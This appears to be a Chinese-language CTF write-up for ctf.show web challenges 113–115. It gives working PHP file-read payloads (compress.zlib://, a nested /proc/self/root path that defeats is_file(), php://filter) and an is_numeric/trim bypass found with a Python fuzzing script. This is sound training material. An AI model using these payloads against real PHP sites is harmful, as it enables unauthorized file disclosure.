web113 开启容器
代码审计
换zip、bzip、zlib试试
1 /?file=compress.zlib://flag.php
同时is_file()
目录溢出漏洞, 大概意思就是通过多级嵌套绕过检测
这里的 /proc/self/root
是一个指向 /
的软连接
1 2 3 4 5 /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
web114 开启容器
代码审计
直接filter就可以
/?file=php://filter/resource=flag.php
web115 开启容器
代码审计
$num
必须是一个数值或数值字符串。
is_numeric()
的相关比较可以看到我们在数字开头加入一些特殊字符可以绕过 is_numeric()
返回 true
1 2 3 4 5 6 7 8 9 10 11 <?php is_numeric (' 36' ); is_numeric ('36 ' ); is_numeric ('3 6' ); is_numeric ("\n36" ); is_numeric ("\t36" ); is_numeric ("36\n" ); is_numeric ("36\t" ); ?>
$num
本身不等于'36'
。
而源码中的 !==
和 ===
一样是强类型比较,对于 ===
的强类型比较, 但凡比较的字符串有一点点的不一样 (空格 tab 换行符等), 就返回 false
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ' 36' =='36' ; '36 ' =='36' ; '3 6' =='36' ; "\n36" =="36" ; "\t36" =="36" ; "36\n" =="36" ; "36\t" =="36" ; " 36" === "36" "36 " === "36" "\n36" ==="36" ; "\t36" ==="36" ;
去除$num
两端的空白字符后不等于'36'
。
我们需要找到一个不能够被 trim()
去除的字符
经过filter()
处理后的结果等于'36'
。
可以fuzz下ASCII 0-31 字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsfrom urllib.parse import unquoteurl = 'http://597242c4-7a96-4a3b-adff-63333fbbf7b9.challenge.ctf.show/?num=' for i in range (32 ): if i < 16 : s = '0' + str (hex (i).replace('0x' , '' )) else : s = str (hex (i).replace('0x' , '' )) payload = '%' + s + '36' res = requests.get(url + unquote(payload)) if 'ctfshow' in res.text: print (payload)
最终的 payload 是 %0c36
, 即 \f36
, 其中 \f
是换页符